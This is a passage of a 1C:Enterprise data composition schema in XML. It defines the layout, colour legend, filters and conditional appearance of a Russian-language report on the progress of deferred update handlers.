<dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>Картинка</dcscor:parameter> <dcscor:value xsi:type="v8ui:Picture" ref="v8ui:EventLog"/> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>в командной панели или по двойному клику в ячейке</v8:content> </v8:item> </dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">29.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">29.375</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell/> <dcsat:tableCell/> </dcsat:item> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ЦветФона</dcscor:parameter> <dcscor:value xmlns:d8p1="http://v8.1c.ru/8.1/data/ui/colors/web" xsi:type="v8ui:Color">d8p1:Yellow</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>- обработчик не обработал данные за выбранный интервал</v8:content> </v8:item> </dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">29.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">29.375</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell/> <dcsat:tableCell/> </dcsat:item> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>возможно другие обработчики держат его выполнение, проверить это можно по команде</v8:content> </v8:item> </dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">30.25</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">30.25</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>ОбъединятьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.75</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.75</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>Картинка</dcscor:parameter> <dcscor:value xsi:type="v8ui:Picture" ref="v8ui:GrayedAll"/> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>в командной панели</v8:content> </v8:item> </dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> </dcsat:item> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.875</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>ЦветФона</dcscor:parameter> <dcscor:value xsi:type="v8ui:Color">#009646</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.125</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>- зеленым цветом выделяются обработчики и объекты, по которым обработаны все зарегистрированные данные</v8:content> </v8:item> </dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">26</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.375</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">4.75</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">3.25</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>МинимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">29.375</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>МаксимальнаяШирина</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">29.375</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> <dcsat:tableCell/> <dcsat:tableCell/> </dcsat:item> </template> </template> <template> <name>Макет2</name> <template xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:AreaTemplate"> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="dcscor:Parameter">ОбработчикОбновления</dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>Отступ</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">7</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item> <dcscor:parameter>Расшифровка</dcscor:parameter> <dcscor:value xsi:type="dcscor:Parameter">Расшифровка</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> </dcsat:item> </template> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:DetailsAreaTemplateParameter"> <dcsat:name>Расшифровка</dcsat:name> <dcsat:fieldExpression> <dcsat:field>ОбработчикОбновления</dcsat:field> <dcsat:expression>ОбработчикОбновления</dcsat:expression> </dcsat:fieldExpression> </parameter> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:ExpressionAreaTemplateParameter"> <dcsat:name>ОбработчикОбновления</dcsat:name> <dcsat:expression>ОбработчикОбновления</dcsat:expression> </parameter> </template> <template> <name>Макет3</name> <template xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:AreaTemplate"> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:item xsi:type="dcsat:Field"> <dcsat:value xsi:type="dcscor:Parameter">Статус</dcsat:value> </dcsat:item> <dcsat:appearance> <dcscor:item> <dcscor:parameter>Расшифровка</dcscor:parameter> <dcscor:value xsi:type="dcscor:Parameter">Расшифровка</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> </dcsat:item> </template> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:ExpressionAreaTemplateParameter"> <dcsat:name>Статус</dcsat:name> <dcsat:expression>Статус</dcsat:expression> </parameter> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:DetailsAreaTemplateParameter"> <dcsat:name>Расшифровка</dcsat:name> <dcsat:fieldExpression> <dcsat:field>Статус</dcsat:field> <dcsat:expression>РасшифровкаПоля</dcsat:expression> </dcsat:fieldExpression> </parameter> </template> <template> <name>Макет4</name> <template xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:AreaTemplate"> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>Расшифровка</dcscor:parameter> <dcscor:value xsi:type="dcscor:Parameter">Расшифровка</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> </dcsat:item> </template> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:DetailsAreaTemplateParameter"> <dcsat:name>Расшифровка</dcsat:name> <dcsat:fieldExpression> <dcsat:field>ЕстьОшибки</dcsat:field> <dcsat:expression>РасшифровкаПоля</dcsat:expression> </dcsat:fieldExpression> </parameter> </template> <template> <name>Макет5</name> <template xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:AreaTemplate"> <dcsat:item xsi:type="dcsat:TableRow"> <dcsat:tableCell> <dcsat:appearance> <dcscor:item> <dcscor:parameter>Расшифровка</dcscor:parameter> <dcscor:value xsi:type="dcscor:Parameter">Расшифровка</dcscor:value> </dcscor:item> </dcsat:appearance> </dcsat:tableCell> </dcsat:item> </template> <parameter xmlns:dcsat="http://v8.1c.ru/8.1/data-composition-system/area-template" xsi:type="dcsat:DetailsAreaTemplateParameter"> <dcsat:name>Расшифровка</dcsat:name> <dcsat:fieldExpression> <dcsat:field>ПроблемаВДанных</dcsat:field> <dcsat:expression>РасшифровкаПоля</dcsat:expression> </dcsat:fieldExpression> </parameter> </template> <fieldTemplate> <field>ОбработчикОбновления</field> <template>Макет2</template> </fieldTemplate> <fieldTemplate> <field>Статус</field> <template>Макет3</template> </fieldTemplate> <fieldTemplate> <field>ЕстьОшибки</field> <template>Макет4</template> </fieldTemplate> <fieldTemplate> <field>ПроблемаВДанных</field> <template>Макет5</template> </fieldTemplate> <groupTemplate> <groupName>Легенда</groupName> <templateType>Header</templateType> <template>Макет1</template> </groupTemplate> <settingsVariant> <dcsset:name>ПрогрессОтложенногоОбновления</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Прогресс отложенного обновления</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ОбработчикОбновления</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ПолноеИмя</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ЕстьОшибки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Статус</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Очередь</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ТипМетаданных</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ТипОбъекта</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ВсегоОбъектов</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>КоличествоОбъектов</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Прогресс</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ОбработаноЗаИнтервал</dcsset:field> <dcsset:lwsTitle> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработано за период</v8:content> </v8:item> </dcsset:lwsTitle> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:use>false</dcsset:use> <dcsset:left xsi:type="dcscor:Field">Статус</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:userSettingID>7e0e56bb-ab79-4bed-93e0-51f69f657f49</dcsset:userSettingID> </dcsset:item> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:use>false</dcsset:use> <dcsset:left xsi:type="dcscor:Field">ОбработаноЗаИнтервал</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:decimal">0</dcsset:right> <dcsset:userSettingID>42057a10-3700-40b6-a7f5-e2bb04290fd9</dcsset:userSettingID> </dcsset:item> </dcsset:filter> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ПрогрессОбработки</dcscor:parameter> <dcscor:value xsi:type="xs:dateTime">0001-01-01T00:00:00</dcscor:value> <dcsset:userSettingID>5de9165b-d922-45cb-a935-e57d2747771e</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Период</v8:content> </v8:item> </dcsset:userSettingPresentation> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>КешироватьРезультат</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">false</dcscor:value> <dcsset:userSettingID>0574fffc-21fb-4851-8cb1-1c02822bb60f</dcsset:userSettingID> </dcscor:item> </dcsset:dataParameters> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>ЕстьОшибки</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">ЕстьОшибки</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">true</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ГоризонтальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:HorizontalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:nil="true"/> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ВыводитьКартинку</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionPictureOutputType">OutputByValue</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>РазмерКартинки</dcscor:parameter> <dcscor:value xmlns:mxl="http://v8.1c.ru/8.2/data/spreadsheet" xsi:type="mxl:PictureSize">Proportionally</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ПоложениеТекстаОтносительноКартинки</dcscor:parameter> <dcscor:value xmlns:mxl="http://v8.1c.ru/8.2/data/spreadsheet" xsi:type="mxl:TextPositionRelativeToPicture">Right</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВертикальноеПоложениеКартинки</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ГоризонтальноеПоложениеКартинки</dcscor:parameter> <dcscor:value xsi:type="v8ui:HorizontalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Картинка</dcscor:parameter> <dcscor:value xsi:type="v8ui:Picture" ref="v8ui:Предупреждение"/> </dcscor:item> </dcsset:appearance> <dcsset:useInHierarchicalGroup>DontUse</dcsset:useInHierarchicalGroup> <dcsset:useInOverall>DontUse</dcsset:useInOverall> <dcsset:useInFieldsHeader>DontUse</dcsset:useInFieldsHeader> <dcsset:useInHeader>DontUse</dcsset:useInHeader> <dcsset:useInParameters>DontUse</dcsset:useInParameters> <dcsset:useInFilter>DontUse</dcsset:useInFilter> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>Статус</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter/> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Отступ</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">0</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>АвтоОтступ</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">0</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>РастягиватьПоГоризонтали</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">false</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Текст</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"/> </dcscor:item> </dcsset:appearance> <dcsset:useInHierarchicalGroup>DontUse</dcsset:useInHierarchicalGroup> <dcsset:useInOverall>DontUse</dcsset:useInOverall> <dcsset:useInFieldsHeader>DontUse</dcsset:useInFieldsHeader> <dcsset:useInHeader>DontUse</dcsset:useInHeader> <dcsset:useInParameters>DontUse</dcsset:useInParameters> <dcsset:useInFilter>DontUse</dcsset:useInFilter> </dcsset:item> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>ПроблемаВДанных</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">ПроблемаВДанных</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">true</dcsset:right> </dcsset:item> </dcsset:filter> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ГоризонтальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:HorizontalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ВертикальноеПоложение</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>РазмерКартинки</dcscor:parameter> <dcscor:value xmlns:mxl="http://v8.1c.ru/8.2/data/spreadsheet" xsi:type="mxl:PictureSize">Proportionally</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВертикальноеПоложениеКартинки</dcscor:parameter> <dcscor:value xsi:type="v8ui:VerticalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ГоризонтальноеПоложениеКартинки</dcscor:parameter> <dcscor:value xsi:type="v8ui:HorizontalAlign">Center</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Картинка</dcscor:parameter> <dcscor:value xsi:type="v8ui:Picture" ref="v8ui:Предупреждение"/> </dcscor:item> </dcsset:appearance> <dcsset:useInHierarchicalGroup>DontUse</dcsset:useInHierarchicalGroup> <dcsset:useInOverall>DontUse</dcsset:useInOverall> <dcsset:useInFieldsHeader>DontUse</dcsset:useInFieldsHeader> <dcsset:useInHeader>DontUse</dcsset:useInHeader> <dcsset:useInParameters>DontUse</dcsset:useInParameters> <dcsset:useInFilter>DontUse</dcsset:useInFilter> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ГоризонтальноеРасположениеОбщихИтогов</dcscor:parameter> <dcscor:value xsi:type="dcscor:DataCompositionTotalPlacement">None</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьПараметрыДанных</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">DontOutput</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьОтбор</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">DontOutput</dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:name>Легенда</dcsset:name> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>МакетОформления</dcscor:parameter> <dcscor:value xsi:type="xs:string">БезОформления</dcscor:value> </dcscor:item> 